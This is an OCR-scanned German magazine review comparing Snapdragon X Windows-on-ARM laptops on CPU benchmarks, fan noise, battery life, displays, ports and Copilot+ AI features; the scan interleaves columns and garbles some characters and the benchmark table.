Auslegungssache

Bei der Rechenleistung herrscht im Test-
feld wegen allen vier verwendeten CPU-
Modellen, unterschiedlichen Kiihlsyste-
men und Herstellertools, mit denen man

die Performance nach Gusto beeinflussen
kann, eine riesige Varianz. Klingt kompli-
ziert? Ist es auch ... aber keine Sorge, wir
nehmen Sie an die Hand.

Alle Ergebnisse, die in der Tabelle am
Artikelende aufgefiihrt sind und die das
untenstehende Balkendiagramm visuali-
siert, entsprechen dem Energieprofil, das
der Hersteller ab Werk vorsieht. Das ist
alsoder Zustand, in dem die meisten Note-
books dauerhaft betrieben werden, denn
kaum ein Nutzer diirfte regelméaflig (oder
iiberhaupt) in die Einstellungstiefen ab-
tauchen.

Beginnen wir die Betrachtung beim
Dell XPS 13, also dem Vorzeigenotebook,
das Dell bislang ausschliefdlich mit Intel-
CPUsverkauft hat, aber nie mit AMD-Pro-
zessoren. Der X1E-80-100 schafft im
Rendering-Benchmark Cinebench 2024
122 Punkte bei Last auf einem und 985
Punkte bei Last auf allen Kernen. Dieselbe
CPU kommt im grofderen Surface Laptop
7 15" nur auf 107 beziehungsweise 906
Punkte und im Surface Pro 11 auf 105 res-
pektive 823 Punkte.

Der Unterschied erklart sich durch
diametral andere Abstimmungen: Das
kompakte XPS 13 erkauft sich die hohe
Performance mit gut horbarem Liifterein-
satz (2,3 sone), wahrend die Surface fast
durchgéngig lautlos bleiben. Anders als
etwa Apples MacBook Air haben alle Pro-
banden Liifter, doch die schalten sich bei
den Microsoft-Geriten erst nach sehrlan-

Notebooks mit Snapdragon X - Messergebnisse

CPU (Kerne) / GPU Lautstarke
(idle / Last) [sone]

Asus Vivobook S 15 (S5507Q)
Dell XPS 13 (9345)

HP OmniBook X Al 14 (fe0)
Lenovo ThinkPad T14s Gen 6
Lenovo Yoga Slim 7x (14Q8X9)
Microsoft Surface Laptop 7 13,8"
Microsoft Surface Laptop 7 15"
Microsoft Surface Pro 11
Samsung Galaxy Book4 Edge 14"
Samsung Galaxy Book4 Edge 16"

X1E-78-100 (12P) / X1-85
X1E-80-100 (12P) / X1-85
X1E-78-100 (12P) / X1-85
X1E-78-100 (12P) / X1-85
X1E-78-100 (12P) / X1-85
X1P-64-100 (10P) / X1-85
X1E-80-100 (12P) / X1-85
X1E-80-100 (12P) / X1-85
X1E-80-100 (12P) / X1-85
X1E-84-100 (12P) / X1-85

ger Zeit dauerhaft zu. Bevor es so weit
kommt, laufen sie erst mal sporadisch an,
um einen Schwall Abwirme aus dem Ge-
hause zu jagen, und nach ein paar Sekun-
den ist wieder fiir lingere Zeit Stille. An-
dert man in den Windows-Einstellungen
das Energieprofil, gibt es hohere Bench-
markergebnisse, aber auch iiber lingere
Zeithorbares, wenn auch leises Liifterrau-
schen.

Das restliche Testfeld bewegt sich in-
nerhalb dieser beiden Extreme. Bei Sam-
sung leidet in der Werkseinstellung des
Galaxy Book4 Edge 14" zwar nicht die
Singlethread-Leistung, aber bei Last auf
allen Kernen erzielt es nur 654 Punkte.
Selbst wenn man im vorinstallierten Hilfs-
programm des Herstellers von ,,Opti-
miert” auf ,Volle Leistung” wechselt, wer-
denesnur 100 Punkte mehr: Statt wirklich
die Leistung so hochzuschrauben wie
andere Gerite, begrenzt Samsung auch
dann noch den Liifterlirm (0,7 statt 0,1
sone). Das 0,6 sone leise ThinkPad T14s
schafft nur magere 609 Punkte im Werks-
zustand, kommt in einem hoéheren Profil
aber auf standesgemaifde 869 Punkte.

Beim Snapdragon-Topmodell X1E-
84-100 in Samsungs Galaxy Book4 Edge
16" haben wir passend zum Datenblatt die
hochste Singlethread-Performance ge-
messen (129 Punkte), doch trotz héherem
Basistakt lag die Multithread-Perfor-
mance unter der, die kleinere CPU-Mo-
delle in anderen Notebooks erzielten.

Laufzeit CineBench 2024 3DMark
(Last / idle) [h] (AT / 1) (Solar Bay)

« besser <« besser besser P> besser > besser p>
I 143 mmo,1/1,3 W 4/20,4 I 106/950 I 9952
1,23 I 0,1/2,3 I 3/24,7 B 122/985 I 10036
I 1,33 m0,1/0,6 I 3,6/26,1 I 100/808 9901
121 m0,1/0,6 I 39/34,6 I 106/601 I 9864
I 1,29 mm0,1/1,3 W 4,9/27,6 I 107/882 9745
I 1,32 10,1/0,4 W 4,3/22,7 W 106/781 10133
I 1,65 m0,1/0,5 W 5,3/25,8 I 107/906 9661
I 1,25 m0,1/0,8 I 3,2/19,4 I 105/823 I 9668
- 1,17 10,1/0,1 = 3,1/20,2 W 124/654 = 10000
I 1,55 10,1/0,3 . 4,3/22,9 Em— 129/854 B 11313

zum Vergleich

Asus ZenBook 14 (UX3405) Core Ultra 7 155H (6P + 8E + 2LP-E) / Arc o 1,28 m0,1/13 I 2,6/18,8 = 104/574 = 11983
Huawei MateBook D 16 (2024)  Core i9-13900H (6P + 8E) / lris Xe — 1,72 m0,1/08 = 2,1/16,2 e 113/723 -

Lenovo ThinkPad P14s Gen 4 Ryzen 7 Pro 7840U (8P) / Radeon 780M  mmmmmm 1,43 0,1/15 - 1,2/17,1 i 98/730 = 11807

Framework Laptop 16 Ryzen 7 7840HS (8P) / Radeon RX 77005 mmmmmmmmm 2,42 s 0,1/5,7 1 1,2/10 e 101/906 — 33629

Apple MacBook Air M3 (4P + 4E) / M3 — 124 0/0 — 3,2/20,9 e 141/594 . 13052

Apple MacBook Pro 14" M3 Max (12P + 4E) / M3 Max — 161 0,1/18 e 3,9/22,8 e 141/1483 | m— 31562

Apple MacBook Pro 16" M3 Pro (6P + 6E) / M3 Pro 1) e 01/31 W 5,1/497 W 145/1005  m—122419

Asus TUF A16 (FAGO7P) Ryzen 9 7845HX (12P) / RTX 4070 00 0,1/24 m14/7,7 e 111/129)  E— 61289
Gigabyte Aorus 16X (2024) Core i9-14900HX (8P + 16F) / RTX 4070  mmmmmmmmm 2,34 s 0,1/59 B 1,9/10,5 B 126/1385  — 56535
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Selbstim hochsten Samsung-Energiepro-
fil, wo esdann lauter als 0,3 sone wird, ging
es nur knapp tiber die 1000er-Schwelle.

Das bedeutet, dass die Werte von 133
und 1149 Punkten, die wir zu Jahresbeginn
auf einem vernagelten Referenzsystem
von Qualcomm messen konnten, keine
volligen Mondwerte waren. Die Diskus-
sion ist aber akademischer Natur, denn
praktisch kann man den X1E-84-100 bis-
lang einzig im Samsung-Notebook kaufen,
welches eben auf geringe Lautstirke ab-
gestimmt wurde.

Die grof3te Varianz bietet Asus mit vier
Stufen, die gemafd Dokumentation den
TDP-Stufen 20, 35, 45 und tiber 50 Watt
entsprechen. Voreingestellt ist die
35-Watt-Stufe, doch als wir der CPU das
Maximum gonnten, haben wir iiber 1100
Punkte erzielt. Das kleinste Elite-Modell
X1E-78-100 schafft bei Asus also im Ma-
ximalfall rund 10 Prozent (und damit Wel-
ten) mehr als das nominelle Topmodell
X1E-84-100 bei Samsung. Und trotzdem
wiirden wir diese Stufe bei Asus niemals
im Alltag wahlen, weil es dabei extrem viel
auf die Ohren gibt: satte 5,4 sone!

Alle bisherigen Betrachtungen bezie-
hen sich auf den Cinebench 2024, der die
CPUsiiber lange Zeit unter Volldampfsetzt
und die Kiihlsysteme damit ans Limit treibt
- nicht nur bei sommerlichen Temperatu-
ren. Im Geekbench sieht es anders aus,
denn er verwendet einen Mix unterschied-
licher Berechnungen und lauft kiirzer. Der
Geekbench 5 ist auf modernen Systemen
soschnell fertig, dass er praktisch nurnoch
Datenblattunterschiede bestatigt. Wir
geben in der Tabelle Geekbench-6-Werte
im Notebook-Werkszustand an, wo die Er-
gebnisse einem Mix von Datenblatt und
Kiihlsystem entsprechen.

Gegen AMD, Apple und Intel

Dieselbe Varianz, die wir soeben fiir die
hier getesteten Snapdragon-Gerite be-
schrieben haben, gilt auch fiir andere Win-
dows-Notebooks mit AMD- oder Intel-
Chips. Somit lassen sich auch x86-CPUs
nicht direkt, sondern wiederum nur in
konkreten Notebooks vergleichen. Im
Asus ZenBook 14 (UX3405), das Intel zu
Jahresbeginn als ersten Vertreter der Me-
teor-Lake-Generation an Pressevertreter
verteilt hat [1], schafft der Core Ultra 7
155H im Werkszustand keine 600 Cine-
bench-Punkte und damit weniger als die
schwichsten Snapdragon-X-Implementie-
rungen, liegt im Geekbench 6 aber auf
dem Level des X1E-78-100.
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Gerdteeinstellungen

Bei Asus kann man den Snapdragon X Elite mit verschiedenen Energieprofilen
fahren. Die maximale Stufe entlockt dem VivoBook S 15 maximale Rechenleistung,

aber auch maximalen Lifterlarm.

Cinebench-Werte um die 800-Punk-
te-Marke bedtirfen in der x86-Welt CPUs
vom Kaliber Ryzen 7 7840U und fiir um
die 1000 Punkte dann den Ryzen 7
7840HS. Letzteren findet man nicht in
kompakten Office-Notebooks wie im Test-
feld, sondern eher in groflen Gaming-
Notebooks mit dicken Zusatz-GPUs. Da
rauschen die Liifter aber viel lauter, weil
die Prozessoren dort 45 Watt und mehr
verheizen diirfen. Das gilt erst recht fiir
HX-Chips wie AMDs Ryzen 9 7845HX
oder Intel Core 19-14900HX, wenngleich
im Gegenzug dort dann {iber 1300 Cine-
bench-Punkte drin sind.

Apple macht den Vergleich leichter,
denn da gibt es genau eine vorgegebene
Abstimmung. Bei der Singlethread-Leis-
tung macht Apple niemand was vor: Alle
M3-Varianten schaffen iber 140 Punkte
in Cinebench und tiber 3000 Punkte im
Geekbench 6. Bei Last auf allen Kernen
drehtsich das Bild: Der M3 schafftin den
passiv gekiihlten MacBook Air um die
600 Cinebench-Punkte und im aktiv ge-
kithlten MacBook Pro 14 750 Punkte. Um
die 1000 Punkte sind die Doméine des
M3 Pro -den hat der Snapdragon X Elite
also eingeholt. Der M3 Max spielt hin-
gegen in der Liga von AMDs und Intels
HX-Chips, und es sind allesamt siindteu-
re Nischenprodukte.

Grafisches

Wo wir grade schon bei M3 Pro und M3
Max sind: Diese bringen dicke Grafikein-

heiten mit, und das bleibt auch weiterhin
ihr Alleinstellungsmerkmal. Die integrier-
te Grafikeinheit X1-85 im Snapdragon X
Elite agiert eher auf dem Niveau, das auch
bei AMD- und Intel-Notebooks anzutref-
fen ist, sodass dieselbe grobe Einschit-
zung gilt: Wer auf Dienstreisen abends
noch ein Stiindchen im Hotelzimmer zo-
cken will, kann dies grundsitzlich tun,
wenn es sich um dltere Titel handelt. Dort
ist die 3D-Grafik nicht die allerfrischeste,
was der Freude aber keinen Abbruch tut,
wennmanim Lieblingsrollenspiel endlich
(oder mal wieder) alle Neben-Quests
schaffen will.

An nagelneuen Spielen mit detail-
oder effektreichen Welten scheitern wie-
derum alle Windows-Notebooks mit inte-
grierten Grafikeinheiten - egal, ob ein
Chip von AMD, Intel oder Qualcomm
drinsteckt. Wie genau sich eine eventuel-
le x86-Emulation auf die Spiele-Perfor-
mance auswirkt, wollen wir zu einem spa-
teren Zeitpunkt untersuchen. Klar ist, dass
CPU-lastige Titel wie Tomb Raider stéirker
leiden werden als solche, die eher die
GPUs ans Limit treiben.

Und nicht zuletzt: In vielen Mehrspie-
lertiteln kommen Kopierschutz-und Anti-
Cheat-Plug-ins zum Einsatz. Diese nisten
sich tief in Windows ein und miissen des-
halb fiir ARM-Notebooks angepasst wer-
den. Ist das nicht der Fall, ldsst sich ein
Spiel nicht starten. Im Testzeitraum war
dasbeispielsweise bei Fortnite der Fall. Bei
DRM-freien Spielen, wie sie etwa die Platt-
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form GOG vertreibt, taucht diese Extra-
hiirde nicht auf.

Akkulaufzeiten

Ein Aspekt, der bei Notebooks mindestens
genauso wichtig ist wie die Performance,
ist die Akkulaufzeit. Qualcomm will es in
dieser Hinsicht nicht nur mit AMD und
Intel, sondern auch mit Apple aufnehmen
und verspricht fiir Snapdragon-X-Systeme
vollmundig mehrere Tage. Das wirft einer-
seits die Frage auf, ob denn nun Arbeits-
(8 Stunden) oder Kalendertage (24 Stun-
den) gemeint sein mogen.

Und andererseits die Frage, ob das
tiberhaupt relevant ist: Wichtiger ist den
meisten Nutzern, dass sie einen Arbeitstag
iberstehen-das aber mit sohoher Gewiss-
heit, dass sie das Netzteil wirklich nicht
mitnehmen miissen. Auch wenn wir die
Testgerate bislang nur im Labor hatten
und sie noch nicht lingere Zeit im Alltag
ausprobieren konnten: Die Messergebnis-
se lassen den Riickschluss zu, dass der
praxisrelevante Ein-Arbeitstag-ganz-si-
cher-Fall zutrifft.

So erzielen Asus VivoBook S 15, Mi-
crosoft Surface Pro 11 und Samsung Gala-
xy Book4 Edge 14" zwar die kiirzesten
Laufzeiten im Testfeld, doch in absoluten
Zahlen sind das trotzdem 20 Stunden.
Solch hohe Werte schaffen nur die wenigs-
ten Premium-Kompakten, die wir im ver-
gangenen Jahr im dhnlichen Preisrahmen
getestet haben [2, 3]. Die meisten der
neuen Snapdragon-Probanden halten
noch ein paar Stunden linger durch und
liegen damitin Regionen, in denen bislang
nur Apples MacBooks rangierten. Der
Spitzenreiter ist Lenovos ThinkPad T14s,
das erst nach iiber 34 Stunden wieder ans
Netzteil musste (alle Werte: ruhender
Desktop bei 100 cd/m?).

Systemisches

Wir wollen an dieser Stelle keine Debatte
vom Zaun brechen, ob denn nun ARM
oder x86 der effizientere Befehlssatz sei,
denn auch diese ist eher akademischer
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Natur. Faktist, dass wir vor nicht allzulan-
ger Zeit auch ein x86-Notebook mit ge-
fiihlt ewiger Laufzeitim Labor hatten: HPs
Spectre Folio 13 hielt bis zu 40 Stunden
durch [4] - mit Core-i-Prozessor. Dieser
entstammt allerdings der auf Effizienz ge-
trimmten Y-Serie, die Intel kurz darauf
eingestellt hat, aus mehreren Griinden:
weil die 10-Nanometer-Fertigung in die
Hose gegangenist, AMD mit Ryzen 4000
einen Performancesprung bei Notebooks
ausgelost hat und der Branchenprimus
keinen anderen Weg sah, als mehr Per-
formance durch mehr Abwirme aus sei-
nen Chips zu kitzeln.

Das fallt Intel jetzt auf die Fiifde: Den
Spagat, mit einem Chip sowohl bei Bedarf
eine hohe Rechenleistung abzuliefern
oder bei geringer Last sehr lange Laufzei-
ten zu ermdglichen, schaffen derzeit nur
ARM-Notebooks mit Prozessoren von
Apple und Qualcomm. Das Argument, das
liege auch an macOS als Betriebssystem,
haben sowohl das damalige HP-Notebook
als auch die jetzigen Snapdragon-Gerite
entkriftet, denn die laufen alle unter Win-
dows.

Stattdessen zahlt vor allem, was ein
Notebookhersteller daraus macht und wie
er sein Design trimmt. Ein nicht zu unter-
schitzender Teil geht auf das Konto des
Bildschirms: Die drei oben genannten
Snapdragon-Gerite mit den kiirzesten
Akkulaufzeiten haben allesamt OLED-
Displays. Die zeigen zwar tolle Farben,
fressen aber tendenziell auch mehr Strom.
Fiir sie empfehlen wir, tiberwiegend An-
wendungen mit Dark Mode zu nutzen,
weil OLEDs ihre einzeln leuchtenden
(Sub-)Pixel separat abschalten kénnen.
BeiVideos hat man freilich keinen Einfluss
aufdas, was der neuste Clip des Lieblings-
kanals von YouTube einem vorsetzt.

Superlange Laufzeit gibt es nur, wenn
man ein Gerat mit IPS-Bildschirm wihlt.
Solche Bildschirme schaffen tiblicherwei-
se 400 cd/m?und in den Surface-Geriten
sogar 500 cd/m? Der Laufzeitkonig
ThinkPad T14s hat ein besonders effizien-

Kuriositaten mit USB: HP
verwendet offizielle USB-
Logos an seinen USB-C-
Buchsen, doch bei unse-
rem Testgerat funktio-
nierte eine USB4-SSD an
beiden Buchsen mit vol-
ler Geschwindigkeit und
nicht nur an der hinteren.

tes Low-Power-Panel mit vergleichsweise
geringer 1920er-Auflosung. Dieses lauft
obendrein nur mit klassischen 60 Hertz
statt mit einer der sonst offerierten hohe-
ren Bildwiederholraten von 90 oder 120
Hertz.

Wo wir grade bei den Bildschirmen
sind: Matte Panels haben nur Dells XPS 13
und Lenovos ThinkPad T14s. Beim Asus
VivoBook S 15ist der Trend weg vom nied-
rigen Seitenverhiltnis 16:9 noch nicht an-
gekommen; im restlichen Testfeld ist
mehr Bildhohe dank 16:10 oder 3:2 (nur
Microsoft) gegeben. Der Bildschirm von
HPs OmniBook X AI 14 leuchtet mit ma-
ximal 250 cd/m? unterdurchschnittlich
dunkel; zudem ist das OmniBook das ein-
zige Notebook ohne Wi-Fi 7.

Alle Notebooks haben rasante USB4-
Buchsen, die dank Abwirtskompatibilitit
auch Thunderbolt-Peripherie ansteuern.
Dennoch gab es Kuriosititen: Unsere Test-
SSD lief an beiden Samsungs nur mit
USB-3.1-Geschwindigkeit, an allen ande-
ren Kandidaten aber mit USB4. Die volle
Geschwindigkeit liefd sich den Samsung-
Buchsen nur mit einer anderen SSD ent-
locken. Bei HP liefen wiederum beide
USB-C mit USB4, obwohl Datenblatt und
Buchsenbeschriftung es nur fiir eine davon
verspricht.

Dells XPS 13, Lenovos Yoga Slim 7x
und die drei Surface setzen tiberwiegend
auf USB-C; beim XPS, Yoga und Surface
Pro fehlt sogar ein analoger Audioaus-
gang. An den anderen Kandidaten ist die-
ser vorgesehen und auch weitere Schnitt-
stellen wie USB-A und HDMI.

Alle Notebooks haben beleuchtete Tas-
taturen; beim VivoBook kann man dank
RGB-LEDssogar eine beliebige Farbe statt
weifd wahlen. Umgebungslichtsensoren,
die die Bildschirmhelligkeit passend zu
Lichtverhiltnissen nachregeln, haben wir
beim OmniBook und beim ThinkPad ver-
misst. Die beiden haben allerdings wie das
VivoBook, das XPS und das Yoga einen
Anndherungssensor: Verlisst man den
Schreibtisch, dann bekommt das Notebook
dies mit und legt sich schlafen. Kehrt man
zurtick, weckt sich das Notebook selbst auf
und loggt den Nutzer mittels Windows-
Hello-Webcam wieder ein. Eine solche gibt
es auch bei allen drei Surface-Geriten,
wihrend sie bei den Galaxy Books fehlt.
Dort gibt es nur einen Fingerabdruckleser;
XPSund ThinkPad bieten ihn zusatzlich zur
Webcam.

Wichtig, wenn man Notebooks haufig
am Netzteil betreibt: Bei Samsung lasst
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sich der Akkuladestand auf 80 Prozent be-
schrinken (per Hilfsprogramm) und bei
Microsoft auf 50 Prozent (im UEFI-Setup).
Allen anderen Kandidaten fehlt diese Op-
tion, obwohl sie bei x86-Notebooks von
Asus, Dell oder Lenovo lingst zum guten
Ton gehort. Da bleibt nur zu hoffen, dass
die Hersteller noch nicht mitden Firmwares
fertig geworden sind und die Funktion mit
einem kiinftigen Update nachliefern.

Apropos Updates: Firmware und Trei-
ber sollen eigentlich einheitlich und kom-
fortabel per Windows Update ausgeliefert
werden, doch bis auf Microsoft installieren
alle Hersteller eigene Hilfsprogramme fiir
Aktualisierungen. Und im Testzeitraum
gab es bei Asus und Lenovo Updates, die
nur diese Tools angeboten haben, die aber
nicht per Windows Update kamen.

KI? Kommt irgendwann

Alle Snapdragon-X-CPUs haben die dicke
Hexagon Neural Processing Unit (NPU)
fiir KI-Berechnungen an Bord, die als der-
zeit einzige leistungsstark genug ist, um

Grundlagen
Funktionaler
Programmierung

Konzepte verstehen und eleganten

Code schreiben

Funktionale Programmierung vereinfacht
Testen und Debuggen. AuRerdem erleichtert
es Parallelisierung sowie nebenldufige Ausfiih-

die Microsoft-Vorgabe von mindestens 40
Billionen Operationen pro Sekunde
(TOps) zu erfiillen. Falls Sie sich nun fra-
gen, wo denndie ganzen tollen KI-Sachen
sind, die Microsoft fiir Copilot+ verspro-
chen hat: Gliickwunsch, Sie haben den
Apfel im Marketingparadies entdeckt.

Das Killer-Feature Recall, das dank
multimodaler KI einen personifizierten
Suchindex erstellt und dafiir permanent
im Hintergrund mitlaufen muss, wurde
erstvon Opt-out auf Opt-in umgestellt und
schliefdlich noch vor Marktstart der Note-
books wegen Sicherheits- und Daten-
schutzbedenken wieder einkassiert. Einen
Zeitplan, wann Insider-Betatester damit
rumspielen konnen und wann es verof-
fentlicht wird, hat Microsoft nicht kom-
muniziert. Das, was jetzt schon an KI in
Windows enthalten ist und die NPU nutzt,
steht im Kasten auf Seite 20.

Und auch wenn neue Hintergrund-
weichzeichner fiir die Webcams oder der
Bildgenerator in Paint niemanden direkt
hinterm Ofen hervorlocken: Esist wichtig,

rung. Die Grundlagen dieses Programmierstils

lernen Sie im Webinar kennen.

Jetzt Tickets sichern:

Notebooks mit Snapdragon X | Titel

—

Tablet mit Serviceklappe: Beim

Surface Pro 11 findet man hinter dem
Kickstand eine magnetische Abdeckung
und darunter die wechselbare SSD im
M.2-2230-Format.

dass diese Funktionen auf der NPU laufen.
Denn diese berechnet solche Effekte we-
sentlich effizienter als eine CPU oder
GPU. Das ist ein wichtiges Puzzleteil, um
die oben erwihnte Wirklich-wirklich-den-

ct

WEBINAR

heise-academy.de/webinare/funktionale-programmierung [s]
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ganzen-Arbeitstag-Akkulaufzeit hinzube-
kommen: Man muss sich eben nicht neben
der Steckdose postieren, wenn man auf
Balkon oder Terrasse erst einen Teams-
Call mit Video abhilt und danach noch
entspannt weiterarbeiten will.

Dieser Grundsatz gilt auch fiir alles,
was danoch kommen mag. Die KI aus der
Microsoft-Werbung, die einem beim
Minecraft-Spielen tiber die virtuelle Schul-
ter guckt und in nattirlichem Sprachdialog
Tipps gibt, was man mit dem bestehenden
Inventar schon craften kann, existiert
noch nicht. Aber es ist wichtig, dass alles,
was diesbeziiglich schon geht, auf der
NPU lduft, damit die Ressourcen von CPU
und GPU fiir das Spiel frei bleiben.

Ahnliches gilt fiir eine ebenfalls noch
visiondre Szene aus der Demo von Qual-
comm: Eine KI soll als Gitarrenlehrer ei-
nerseits per Webcam auswerten, wie gut
der Schiiler Griffe setzt. Andererseits muss
sie so universell geschult sein, dass man
sie fragen kann, ob auch der frisch erschie-

Copilot+

Die hier getesteten Windows-on-ARM-
Notebooks werden von Microsoft mit
dem Label Copilot+ beworben: KI-Funk-
tionen laufen lokal auf einer leistungs-
starken Neural Processing Unit (NPU) mit
mindestens 40 TOps, was derzeit nur die
NPU von Qualcomms Snapdragon X ab-
liefert. Viele KI-Funktionen gibt es dafur
allerdings noch nicht. Denn ausgerech-
net die Hauptanwendung Recall, ein
multimodaler Suchindex der personli-
chen Nutzungshistorie, steht wegen Si-
cherheits- und Datenschutzbedenken
doch nicht ab Start bereit.

Die schon von Notebooks mit Core
Ultra 100 und Ryzen 7040/8040 bekann-
ten Webcam-Filter namens Windows
Studioeffekte wurden erweitert. So gibt
es nun einen feiner agierenden Hinter-
grundweichzeichner und Spezialeffekte
wie Aquarell oder Animiert, die Gber das
Bild gelegt werden. Was in dienstlichen
Besprechungen sicherlich total wichtig
und angemessen ist ...

Die bei allen Windows-11-Geréten seit
22H2 vorhandenen Live-Untertitel wurden
um Ubersetzungen ergdnzt: Man be-
kommt die Untertitel nicht mehr in der
gesprochenen Sprache, sondern auch in
Englisch. Das mag Westeuropéaern helfen,

20

nene Song der Lieblingsband fiir das ak-
tuelle Lernziel taugt. Fallsja, analysiert sie
gleich den Gitarrentrack, erstellt daraus
ein Notenblatt fiir den Schiiler und blendet
den Track aus dem Audiostream aus, wih-
rend man selbst in die Saiten greift. Nie-
mand will die ersten Akkorde begleitet von
lautem Liifterrauschen iiben oder am
Ende der Stunde zusehen, dass das Note-
book sich just in dem Moment mit leerem
Akku abschaltet, in dem man den Griff
endlich gemeistert hat.

Die 40-TOps-Vorgabe von Microsoft
stellt zundchst vor allem sicher, dass Ent-
wickler sich nicht um Wildwuchs verschie-
den starker NPUs kiimmern miissen, son-
dern schlicht Copilot+ als Voraussetzung
nehmen konnen, um kiinftige KI-Software
zuentwickeln. Das machtihnen das Leben
leichter und erhoht die Chancen, dass aus
Konzeptdemos tatsdchlich nutzbare Apps
werden. Im Umbkehrschluss gehen wir
nicht davon aus, dass fiir die schwachen
NPUs bisheriger x86-Notebooks mit AMD

weil sie Englisch wahrscheinlich besser
beherrschen als Mandarin oder Hindi:
Noch nitzlicher wéaren aber lokalisierte
Ausgabetexte etwa in Deutsch. Die gibt
es bislang nicht, obwohl technisch und
konzeptionell nichts dagegenspricht.

In der neuen Paint-App hilft die ge-
nerative Kl Cocreator beim Erstellen von
Bildern; zudem kénnen bestehende Bil-
der in der Fotoanzeige bearbeitet wer-
den. Beide Funktionen laufen lokal auf
der NPU, benétigen aber dennoch eine
Internetverbindung: Microsoft mochte
verhindern, dass anstoBige oder illegale
Inhalte entstehen, weshalb alle Prompts
einen Filter in der Azure-Cloud durch-
laufen missen. Zudem werden die Bilder
als Kl-generiert markiert.

Spieler freuen sich tiber den in Win-
dows enthaltenen Upscaler AutoSR, der
ahnlich wie DLSS, FSR oder XeSS Spiel-
grafiken in Echtzeit hochskaliert. Er lauft
auf der NPU, wodurch CPU- und GPU-
Ressourcen vollstandig fir das Spiel an
sich zur Verfligung stehen. Microsoft
schaltet AutoSR automatisch bei einer
Liste kuratierten Spiele wie Borderlands
3 und Witcher 3 zu; fiir andere Titel kann
man die Funktion auf eigenes Risiko in
den Windows-Einstellungen aktivieren.

Ryzen 7040/8040 oder Intel Core Ultra
100 noch viel KI-Software nachkommen
wird. Da diirften die bereits vorhandenen
Studioeffekte zum effizienten Hinter-
grundweichzeichnen das hochste der Ge-
fithle bleiben.

Fazit

Qualcomm hat einen leistungsstarken
Notebookprozessor entwickelt und viele
nambhafte Hersteller haben attraktive Pre-
mium-Notebooks drumherum gebaut, bei
denen von rasanten OLED-Bildschirmen
iiber lange Akkulaufzeiten bis hin zuleisen
Liiftern alles geboten ist. Meist vereinen
sich aber nur zwei der drei Aspekte in
einem Gerdt, sodass man nach personli-
chem Anspruch abwigen muss. Die Gera-
te von Microsoft und Samsung sind im
Betrieb sehr leise, liefern aber nicht die
Performance, die Asus oder Dell mit ho-
herem Liiftereinsatz rauskitzeln. HP und
Lenovo liegen irgendwo dazwischen und
bei der Akkulaufzeit ganz vorne. Der Spit-
zenreiter ThinkPad T14s hilt bis zu 34
Stunden ohne Netzteil durch. Zusitzlich
stellt sich wie immer die Frage, ob eher ein
kompaktes Notebook oder eines mit gro-
em Bildschirm zum eigenen Bedarf
passt. Wichtig: Diese grofde Auswahl ist
schon zum Start der Snapdragon-X-Welle
da.

Wihrend Windows 11 und die Qual-
comm-Treiber ausgesprochen stabil lau-
fen und die x86-Emulation viele Altan-
wendungen zum Laufen bekommt, kann
wegen fehlender Treiber oder unange-
passter Kopierschutzkomponenten in Ein-
zelfillen Frust aufkommen - muss aber
nicht. Die neue Windows-on-ARM-Hard-
wareist allerdings so attraktiv, dass sie viel
mehr Verbreitung als bisher finden wird
und Hard- wie Softwareentwickler nach-
ziehen miissen. Das wird vielleicht nicht
so schnell wie im Apple-Kosmos passieren,
aber Windows on ARM lisst endlich die
Phase hinter sich, wo es weder Henne
noch Ei gab.

Eher peinlich ist, dass Microsoft die
Gerite als Copilot+ und KI-PCs anpreist,
aber die angekiindigte exklusive Win-
dows-Hauptfunktion Recall nicht verfiig-
barist. Tolle KI-Assistenten bleiben damit
ein Versprechen fiir die Zukunft. Mit der
Pflicht zur dicken NPU ist allerdings ein
wichtiger Grundstein fiir zukiinftige Soft-
ware gelegt - und die Vorgabe erfiillt bis-
lang ausschliefSlich Qualcomm.

In den nidchsten Monaten werden
AMD und Intel kontern, doch ab wann
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Asus VivoBook S 15 (S5507Q)

Asus hat das VivoBook S 15 auf eine hohe Performance aus-
gelegt. Das Notebook gesteht dem Snapdragon X Elite X1E-
78-100 ein hohes Power-Budget zu, was dieser 1:1 in Rechen-
leistung ummiinzt. Dies ist eindeutig gewollt: Im Karton liegt
ein USB-C-Netzteil mit satten 90 Watt; schlieBt man ein schwa-
cheres Exemplar an, beschwert sich das Notebook im Betrieb
dartber.

Die in der Tabelle angegebenen Messwerte beziehen sich
auf den Werkszustand, in dem Asus die CPU mit rund 35 Watt
fahrt. Uber das vorinstallierte Hilfsprogramm MyAsus kann
man den Chip auch mit noch héherer Energie versorgen (45
Watt, 50 Watt). Damit kitzelt man noch etwas mehr Rechen-
leistung aus dem Geréat, muss aber mit einem extrem lauten
Lifterrauschen von 5,4 sone klarkommen. Schon im Werks-
zustand wird es bis zu 1,3 sone laut, was man eindeutig hort.

Ob der Auslegung auf eine hohe Performance wundert
es, dass Asus den X1E-78-100 gewahlt hat und nicht den X1E-
80-100 oder gar X1E-84-100, die bei Singlethread-Last in die-
sem Gerat noch besser performen durften. Bei Reaktions-
schluss waren aber nur zwei Modelle vorgesehen: wie getestet
fir 1300 Euro oder mit auf 32 GByte verdoppeltem Arbeits-
speicher flr 1400 Euro. Der farbstarke OLED-Bildschirm hat
eine spiegelnde Oberflache, obwohl keine Touchbedienung
vorgesehen ist. Zudem kommt er im niedrigen Bildschirm-
format 16:9 daher, wahrend das restliche Testfeld die arbeits-
freundlicheren Seitenverhaltnisse 16:10 oder 3:2 mitbringt.

Mit je zwei USB-A- und USB-C-Buchsen, einem HDMI-Aus-

gang, einem (leider lahmen) MicroSD-Kartenleser und einem
analogen Audioausgang gibt es viele Schnittstellen. Die Tas-
tatur erfordert viel Training. Die Enter-Taste ist nur einzeilig
und der Ziffernblock lediglich dreispaltig ausgefiihrt. Die Tas-
tenbeleuchtung erfolgt wie bei Gaming-Notebooks per RGB-
LEDs, sodass man die Farbe nach Gusto definieren kann.
Bei unserem Testgerat lieB3 sich die Windows-11-Vorinstallation
erst nach einer Onlinereparatur auf den zum Testzeitpunkt
aktuellen Build 26100.863 heben. Nach einem BIOS-Update
per Windows Update fand das Hilfsprogramm MyAsus noch
ein weiteres gro3es Update-Paket, das wir vor Testbeginn ein-
gespielt haben.

hohe Rechenleistung
© laute Liifter
© gewdhnungsbediirftige Tastatur
© 16:9-Bildschirm

Preis Testkonfiguration: 1300 Euro

Dell XPS 13 (9345)

Das XPS 13 (9345) ist das kleinste, aber nicht das leichteste
Notebook im Testfeld: Dell setzt auf ein 13,4-Zoll-Panel mit sehr
diinnen Réandern. Am Bildschirm gefallt nicht nur das 16:10-For-
mat, sondern auch die 120 Hertz Bildwiederholrate und stan-
desgemaBe 400 cd/m? Helligkeit. Vor dem Panel sitzt eine
